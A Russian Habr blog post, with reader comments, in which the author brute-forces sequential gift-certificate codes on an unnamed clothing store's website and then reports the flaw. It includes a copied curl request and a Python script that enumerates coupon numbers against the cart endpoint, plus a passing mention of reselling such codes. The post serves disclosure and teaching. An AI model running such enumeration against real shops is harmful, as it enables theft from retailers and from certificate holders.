
Привет, Хабр!
Я, как, надеюсь, и вы тоже, очень люблю читать про всякие уязвимости. Это похоже на чтение детективов, где разными окольными путями, используя какое-нибудь нелепое стечение обстоятельств и тупые стандарты, навроде исполнения кода при десериализации или внешних запросов при открытии xml, атакующий приходит к цели и уничтожает весь мир. Ну что-то такое.
Я и сам писал пару статей такого рода и, честно говоря, очень ими горжусь, потому что уязвимости там действительно прикольные, и для их нахождения мне пришлось сильно пошевелить мозгами.
Но сегодня статья будет супер банальная, кому-то может быть даже покажется скучной. Никакого хитрого сюжета, абсолютно банальнейшая уязвимость в наиболее обыденной ситуации. Но мне кажется, что кто-нибудь может найти мой ход мысли полезным, может быть даже чему-то научиться - ведь я решил расписать всё максимально подробно. Поэтому вот вам статья про самую скучную уязвимость на свете, а вы напишите, что об этом думаете.
Итак, всё начинается с предыстории, как и всегда. Предыстория заключалась в том, что друг на день рождения подарил мне подарочный сертификат в очень дорогой магазин одежды. И хотя это подарочный сертификат, но жаба меня придушила конкретно. Ну не могу я купить ветровку за 20 тыщ, кофту за 7500р или кепку за 3000р и остаться психически здоровым!
Как вам уже, наверное, известно, когда у меня что-то подгорает, я начинаю что-то делать. В данном случае я обратил внимание на подарочный сертификат, который выглядит примерно вот так:

Используется он просто: при оформлении заказа в поле "промокод" вводите номер штрих-кода, и скидка применяется.
У меня на такие вещи сразу триггер. Мне даже когда какой-то кофейный сертификат на Хабре дарили, я сразу посмотрел на сертификаты других людей, чтобы понять, какой там формат кода и можно ли его взломать. Но в нашем случае все достаточно просто:
двойка в начале любых штрих-кодов означает "я художник, я так вижу"
много нулей означают "мы не придумали, чем тут заполнить место"
а вот потом идёт какое-то число
Соответственно, возникает вопрос: можно ли подменить это число и получить скидку по чьему-то другому сертификату? Логика подсказывает, что это можно проверить: число шестизначное - значит, всего у нас миллион комбинаций, причём если сертификаты выдаются последовательно, то нам даже не надо перебирать все варианты, а достаточно начать с моего сертификата или чуть пораньше и проверять последующие.
Ну что ж, погнали! Я захожу на сайт и оформляю заказ как обычный простолюдин. Перед тем, как ввести промокод, я по F12 открываю инструменты разработчика (chrome dev tools) и выбираю там во вкладке "network" отслеживание запросов XHR. Почему именно этот тип? Я вижу, что поле ввода промокода "динамическое" - при отправке запроса не вся страничка перезагружается, а просто идёт фоновый запрос к серверу и какой-то ответ (применилась скидка или нет). Иногда запрос может быть какой-то другой - например, полноценная загрузка новой страницы (фильтр Doc) или же обмен сообщений через вебсокеты (фильтр Ws). Ну или можно выбрать фильтр all и просматривать вообще всю сетевую активность.
Но в данном случае нам не пришлось страдать, и мы сразу обнаружили запрос, который проверяет работоспособность купона.

Всё, что нам нужно - это послать множество таких запросов, но увеличивая с каждым разом номер купона.
В запросе передаётся много всего - это и URL, и метод, и заголовки, и тело. Мы не будем париться и вычислять, что из этого запроса важно, а что нет - просто повторим запрос один-в-один.
Для этого я делаю "copy as curl":

Теперь у меня в буфере команда curl, наподобие такой:
curl 'https://xxxxxxx/front_api/cart.json' \
-X 'PATCH' \
-H 'Accept: */*' \
-H 'Accept-Language: en-US,en;q=0.9' \
-H 'Connection: keep-alive' \
-H 'Content-Type: application/json' \
-b 'first_current_location=%2F; first_referer=; referer=; current_location=%2F; .......' \
-H 'Origin: https://xxxxxxx' \
-H 'Referer: https://xxxxxxx/cart\\_items' \
-H 'Sec-Fetch-Dest: empty' \
-H 'Sec-Fetch-Mode: cors' \
-H 'Sec-Fetch-Site: same-origin' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64)' \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'sec-ch-ua: "Chromium";v="140", "Not=A?Brand";v="24", "Google Chrome";v="140"' \
-H 'sec-ch-ua-mobile: ?0' \
-H 'sec-ch-ua-platform: "Linux"' \
--data-raw '{"lang":"","_method":"patch","variant_ids":{},"accessoriable_variant_ids":{},"order_line_comments":{},"coupon":"2000000292670"}'
Но вообще-то для перебора я хотел использовать питончик, поэтому я просто закидываю этот curl-запрос в Chatgpt с запросом "перепиши это на python с библиотекой requests", и он выводит мне питоновский код:
import requests
url = "https://xxxxxxx/front_api/cart.json"
data = {
"lang": "",
"_method": "patch",
"variant_ids": "{}",
"accessoriable_variant_ids": "{}",
"order_line_comments": "{}",
"coupon": "2000000292670",
}
cookies = {
"first_current_location": "%2F",
"first_referer": "",
"visit": "t",
"goal30_sent": "1",
"goal90_sent": "1",
"total_time_spent": "120",
"session_time_spent": "120",
"session_completed": "1",
"was": "true",
"cart": "json",
# ...
}
response = requests.patch(url, json=data, cookies=cookies)
print(response.status_code, response.text)
Я немного причёсываю код:
использую requests.Session, чтобы не открывать соединение заново на каждый запрос;
начинаю немного раньше своего купона - с
292000- и ползу вверх при помощи itertools.count();вывожу прогресс и скорость работы при помощи tqdm;
использую json lines формат, чтобы сохранять найденные купоны.
Получается вот так компактненько:
from itertools import count
import json
import requests
from tqdm import tqdm
from pathlib import Path
output_file_path = Path('results.jsonl')
url = "https://xxxxxxx/front_api/cart.json"
data = {
"coupon": "",
# ...
}
cookies = {
# ...
}
session = requests.Session()
start = 2000000292000
with output_file_path.open('a', encoding='utf-8') as output_file:
for coupon in tqdm(count(start), initial=start):
response = session.patch(
url,
json=data | {"coupon": str(coupon)},
cookies=cookies,
timeout=10,
)
response.raise_for_status()
result = response.json()
if 'Указан несуществующий купон' not in result['coupon']['error']:
for discount in result['discounts']:
output_file.write(json.dumps(discount) + '\n')
output_file.flush()
Запущенный скрипт работал так же быстро, как я в понедельник - проверяя 2 купона в секунду - но где-то через 5 минут новые коды перестали появляться, и я понял, что просканировал всё, что было выпущено и ещё не активировано.

Суммарно я нафармил купонов на 177 тысяч. Дальше можно было бы заказывать шмотки на дропов или продавать эти коды где-нибудь в даркнете со скидкой.
Разумеется, я сообщил магазину о найденной уязвимости. Я хотел бы написать, что мне за это подарили сертификат на 100500 тыщ, и я заказал другу шапку, которую он очень хотел, но ващет мне просто дали нефритовым стебельком по лбу:

Так что с одной стороны "мы быстро растём и планируем выручку 500 миллионов в год", но с другой - для kesnа ничо не осталось, сорри. Такой вот он неблагодарный, этот ваш whitehat.
Давайте подведём итоги, что же было неправильно на стороне сервера.
Во-первых, неустойчивый к перебору код сертификата: небольшое количество знаков, только цифры, номера идут последовательно;
Во-вторых, отсутствие rate limits, то есть сертификаты можно перебирать бесконечно, и ничего за это не будет;
В-третьих, и это главное - высокие цены на товары, потому что без них я бы и не начал ничего искать. Имейте совесть, блин!
Не подписывайтесь на мой канал, там скучно и плохо!
Комментарии (39)

ASenchenko
16.10.2025 10:13Это вот написать вот такую экстамегафигню ради того, чтобы "взломать" EAN13 ?
Автор, там не 6 значащих символов, а 5. Последний - контрольный, вычисляется по формуле.
Секретная формула
Алгоритм расчёта контрольной цифры:
Сложить все цифры на нечётных позициях (1-я, 3-я, 5-я и т. д.).
Сложить все цифры на чётных позициях, умножить сумму на 3.
Сложить полученные результаты.
Найти ближайшее большее число, кратное 10.
Контрольная цифра — разность между этим числом и суммой.
Стартовая двойка - служебный не товарный диапазон кодов :)
Учитывая общую лень разработчиков, можно быть абсолютно уверенным в том, что нумерация последовательная.
Ну и да. Разрабы этого "сертификата" конечно ленивые олухи, но .. куртку то Вы в итоге купили ? :))))

Terimoun
16.10.2025 10:13Какая разница EAN13 или нет если эндпоинт принимает простой инкрементальный идентификатор? Автору и не нужно было знать про контрольную сумму, он просто перебирал числа, а сервер сам все валидировал. В этом и суть уязвимости

ASenchenko
16.10.2025 10:13Ну то есть мы брутфорсим просто потому что у нас хватает машинных ресурсов и теряем несколько часов на разработку с помощью ИИ вместо 10 минут времени на простой вопрос в гугле или тому же ИИ о формуле составления штрихкода? а затем говорим что это “взлом"?
Парни, я кажется понял почему у нас сейчас Тетрис весит больше всего установочного пакета первой 1С Бухгалтерии и выжирает батарею телефона за 15 минут.
Автор несколько часов ломал дверь, которая просто открывалась в другую сторону.
И последний вопрос. Сервер "валидировал" что? Существование номера купона? Его бы ровно также "валидировал" простой эксель с формулой.
Отоварить то те купоны получилось? Нет? И в чём был взлом? Автор брутфорсом нашел результат вычисления формулы, которой скоро 50 лет исполнится?

MasterMentor
16.10.2025 10:13Автор хоть любопытен, что уже хорошо. И изложеное в статье - личный опыт и вид творчества. Уж лучше, чем строчить бесполезный словесный мусор на модные на сегодня темы, чем забито 95% текстов хабра.

ASenchenko
16.10.2025 10:13Тут я с Вами целиком согласен :))
Автору была продемонстрирована досадная методическая ошибка при подготовке к дерзкой операции, и подсказан метод, которым он мог сэкономить себе уйму времени, погрузись он хоть чуток в предметную область :)))

kesn Автор
16.10.2025 10:13Не понял предъявы :) Купоны нашёл? Нашёл. Можно их отоварить? Можно (ведь мой личный купон, который был среди найденных , сработал - значит, сработают и остальные). Стал ли я отовариваться? Нет, потому что это преступление. Или это не считается взломом, пока я не стану писать статью из СИЗО?

ASenchenko
16.10.2025 10:13Если Вас интересует точный термин, то это не взлом, а обнаружение уязвимости в рамках OSINT, так как Вы не обходили никаких защит, а взяли информацию с открытого URL
СИЗО Вам могло бы грозить только в одном случае - если бы Вы или те, кому Вы передали (если бы передали) результат, изготовили дубликат той самой карты с другим номером и предъявили его в магазине. Тогда, да. 159ч2 УК без вариантов.
А так - ещё раз. Это чистый OSINT.
Не самым оптимальным способом :)))))

ASenchenko
16.10.2025 10:13И последняя подсказка, Александр
Свой OSINT Вы до конца так и не довели, либо не написали об этом.
Если Вы действительно отоварили Вашу карту (будем верить, что это так, ибо любые реальные пруфы потребуют от Вас открыть жертву эксперимента), то бай дефолт нужно было повторно дёрнуть урл по номеру, вытащить инфу и пройти по изменению полей - глянуть где чекнули использование
Потому что если купон не отмечается в этой базе как использованный, то Вы обнаружили совсем уж сказочных дятлов.
Ну и финальным штрихом нужно было свериться с первичной выборкой - какое количество купонов ещё взведены в боевое состояние и могут быть использованы, а какие уже потрачены.
Тогда и только тогда можно было бы выходить с фактажом (сумма найденных финансовых рисков) на представителей компании. Номиналы карт по запросу были видны.
Крч.
Сорян, что я тут нафлудил, но зашёл посмотреть на “взлом" и за время чтения статьи успел удивится дважды.
Сначала когда увидел ean в качестве номера, таких косяков уже давно не доводилось наблюдать
А затем ещё раз - когда увидел, что Вы это не использовали.
Прикольная статья. Удачи. Совершенствуйтесь :)
Вышел :))

McKinseyBA
16.10.2025 10:13Лайк поставил за очередной микробаг Хабра) Но на фоне предыдущих статей ожидал большего... Саня, ты не я и можешь лучше!

F1eex
16.10.2025 10:13Тут дело в том, что сама возможность оплаты таким "промокодом" на сайте с такой пластиковой карты - это тупизм их системы. Обычно магазины заказывают тупо пару сотен карточек с штрихкодами EAN 13 идущими по порядку. Но вот обналичить такой сертификат можно только предъявив его в магазе, иначе любой школьник взломает "систему", а магаз получит скандал от владельцев уже пользованных карт.
Но за статью спасибо, было интересно.

ASenchenko
16.10.2025 10:13А где в статье показана возможность оплаты на сайте? Проверка существования номера - есть. А оплата? Можете прямо место в статье процитировать?

F1eex
16.10.2025 10:13подарочный сертификат, который выглядит примерно вот так:
Используется он просто: при оформлении заказа в поле "промокод" вводите номер штрих-кода, и скидка применяется.
И далее:
Дальше можно было бы заказывать шмотки на дропов или продавать эти коды где-нибудь в даркнете со скидкой

ASenchenko
16.10.2025 10:13Вот. При промокод "при оформлении". Да, пропустил. Ну что, реально лопухи :)))
Дальше то просто вывод, нужно было понять из чего он сделан

GeorgeTudosi
16.10.2025 10:13Спасибо за пищу для размышлений. Хотя, конечно, сделать сертификаты настолько тупо мне не пришло бы в голову даже до статьи, но лишний раз задуматься отнюдь не вредно.
Про дорогие шмотки: обычные по цене футболки у меня живут полгода-год, после чего на них без слёз не взглянешь. Купленные в 2017 за примерно 5× не только до сих пор живые, но и прилично выглядят. Если не знать, куда смотреть, от новых не отличить.

ASenchenko
16.10.2025 10:13Лет 30 назад, когда связь в магазинах была ещё модемной и CRM-систем в РФ не существовало как класса, такое исполнение было не просто популярным, но почти единственно возможным. Однако и тогда EAN13 для нумерации использовали только самые отважные. Всё-таки старались сделать собственную кодировку.
Мне вот сейчас реально интересно - где ж такие серты то дают до сих пор. Пойти купить, вспомнить детство.

dartraiden
16.10.2025 10:13сделать сертификаты настолько тупо мне не пришло бы в голову даже до статьи,
А вот Ebay когда-то додумался. Народ быстро просёк, что буквы и цифры идут в порядке увеличения и начал бесплатно тырить эти купоны. На сколько тысяч баксов нагрели Биглион за ту ночь, пока к утру они не отключили акцию, не знаю, но подозреваю, что прилично.
Т.е. самому Ebay, видимо, было пофиг, они выдали массив купонов, а в каком порядке их будет выдавать Биглион покупателям, это проблема Биглиона.

mitzury
16.10.2025 10:13Так а взломав систему - оправдание мол "случайно ввел не ту цифру в своем сертификате" не прокатит? Интересно что за магазин и как они быстро это исправят. Автор пиши как узнаешь)

alienator
16.10.2025 10:13Попиарюсь в комментах в чужой статье, хорошо?
Вот питонячий модуль для перестановки бит в целых числах, который в частности предназначен для того, чтобы маскировать простые последовательности: https://pypi.org/project/bit-permutation/

Tomasina
16.10.2025 10:13Интересно, а при сканировании штрих-кода любого товара какова будет вероятность получить скидку, предъявляя, допустим, пачку сока?

pavel_raskin
16.10.2025 10:13Если код начинается с двойки (что говорит о разливном соке или о собственном производстве магазина), то шансы есть, т.к. дисконтные карты и подобные сертификаты часто кодируют в этом же "частном" диапазоне. В остальных случаях вероятность стремится к нулю.

ASenchenko
16.10.2025 10:13Есть 2 момента
Первый осветили выше. Коды ТОВАРОВ формата ean13, начинающиеся на "2" можно встретить очень редко. Это или совсем маленький производитель, который не получил полноценного префикса в GS1, или внутренний товар магазина. Взвесьте яблоко на весах, напечатайте этикетку - увидите.
В статье дана фотография носителя. Это пластиковая карта, стандартная девятка, с типографски нанесённым номиналом и баркодом. Вы уверены, что у Вас выгорит предъявить в магазине пачку сока вместо такой карты?
Так что вероятность именно получить скидку по пачке сока ровно такая же, как встретить в магазине динозавра. 50%

MasterMentor
16.10.2025 10:13Любыпытный ты тип, Саня, но плохой переговорщик. К тому же любишь постоянно ходить ходить по тем же граблям: опыт участия в "конкурсах" - тебя ничему не научил. :)
Сбер. Как некрасиво поступить на конкурсе красоты
https://habr.com/ru/articles/766850/Ты бесплатно выполнил за Дядю Бизнесмена работу. Теперь подумай: кто дурак - ты или он
вдуваший тебе в уши про "награды", "конкурсы" и"этических хакеров".Ты приходишь как попрошайка, и получаешь как попрошайка. Иного и быть не может. Учись переговорам. :)

kesn Автор
16.10.2025 10:13"Со мной в комнате 50 подарочных кодов, и я буду активировать по одному каждый час пока вы не дадите мне миллион долларов и вертолёт."

Terimoun
16.10.2025 10:13Реакция магазина самая смешная в этой истории - "Спасибо, но нет"
Базоый ответ, объясняющий почему такие дыры вообще существуют. Им просто плевать :)
Стоимость фикса видимо выше, чем потенциальные потери от таких вот скучных взломов

Abyssraven
16.10.2025 10:13Как правило, угрозы ИБ недооценивают до первого серьёзного инцидента. Распределением ресурсов занимаются менеджеры - и пока они на собственном опыте не почувствуют зачем нужно ИБ, они не видят смысла выделять деньги на это.
И, кстати, когда закрыть уязвимость стоит дороже, чем последствия ее эксплуатации - в этом действительно нет смысла.

roach1967
16.10.2025 10:13А я так надеялся на какую-нибудь пасхалку в длиннющей строке из 4186 буковок (типа - десяток номеров купонов с максимальным значением:()

Dobr
16.10.2025 10:13Что-то мне подсказывает, что при получении кепки или ветровки все-таки нужно физически отдать сертификат. Есть много сертификатов с номером 0123 или вообще без номера. В данном случае это денежный суррогат.

kesn Автор
16.10.2025 10:13Увольте, сударь! Там всё онлайн. Я ж свой сертификат при использовании не отдавал!

Abyssraven
16.10.2025 10:13Если компания не объявляла о наличии BugBounty программы, то хорошо что еще поблагодарили, а не обвинили во взломе.
Насчёт материального поощрения - ваше обращение принял оператор поддержки, у которого нет полномочий и ресурсов выдавать какие-то награды, но которому, скорее всего, обязательно нужно ответить на ваше обращение согласно рабочему процессу. Без налаженного процесса BugBounty нужно чтобы ваши отчёты дошли до кого-то, у кого есть ресурсы, полномочия и желание поблагодарить вас.

Mike-M
16.10.2025 10:13мне просто дали нефритовым стебельком по лбу
Тоже самое было и у меня, даже хуже. Отправил в Ленту свои впечатления о первой покупке на её сайте в виде структурированного отчета на 10 (десяти!) страницах. В ответ получил... просьбу предоставить видео/скриншоты обнаруженных ошибок. И это всё.
В Дикси на аналогичную обратную связь вообще никак не ответили, даже после повторной отправки с другого e-mail.
Думаю, что те, кто принимает письма - это низкооплачиваемые сотрудницы поддержки, с невысоким IQ, без опыта работы, которых набрали по объявлению на каком-нибудь Авито. Они вкатились в IT и приходят на работу исключительно за деньгами. Поэтому им и в голову не приходит, что за обнаружение косяков, да ещё и в таком количестве, хорошо бы отблагодарить сообщившего. И уж тем более такие сотрудницы не станут обсуждать данный вопрос с руководством - ведь их зарплата/премия от этого никак не увеличится. (здесь должен быть смайлик с долларовыми купюрами в глазах, ушах и во рту, с подписью "Не вижу. Не слышу. Молчу")

positroid
16.10.2025 10:13Непонятно в итоге - работает ли все онлайн или карту физически нужно предъявлять при оформлении/получении.
Если второе - то есть мелкие конторы, которые и вовсе такие сертификаты печатают безо всяких кодов чисто на принтере
Stross
А сколько % от покупки можно покрыть сертификатом? Если меньше 100, то тут вообще может быть политика "возьмите хоть за -90%, и мы всё равно останемся в плюсе" :)
Например, некоторые мобильные приложения в принципе не валидируют промокоды в пейволах
kesn Автор
Я никогда не видел подарочных сертификатов, которыми можно оплатить только часть покупки. Это какое-то чистое зло
Wagonowod
Сотрудничали как-то с одним магазином автозапчастей и они нам на мероприятие дали для подарков сертификаты на 500р. Вроде всё хорошо, но соль в том, что сертификатом можно оплатить только 10% от стоимости покупки.
Да, вы правы, это чистое зло
maingame
В большинстве магазинов до 100%, но при этом, при выдаче сертификата они регистрируют его у себя в ПК, и при обналичке тоже. Выдают рандомно, просто пачка напечатанных лежит, и если ты купишь по совпавшему с номером другого клиента, есть не малый шанс, засветится на камеру. Что бы через сайт покупали, без предъявления не встречал, может и есть у кого.
HenryFrod
Электронный подарочный сертификат, например. Озон, ВБ, ${подставьте_сюда_любой_магазин_имеющий_интернет_магазин}.
Они не выпускаются на бумаге, но там не просто последовательность, а хеш или guid и генерируются в момент покупки.
Terimoun
Обычно подарочные сертификаты это эквивалент денег, можно оплатить 100%. А то о чем вы говорите это уже промокод на скидку.
Судя по API тут был именно сертификат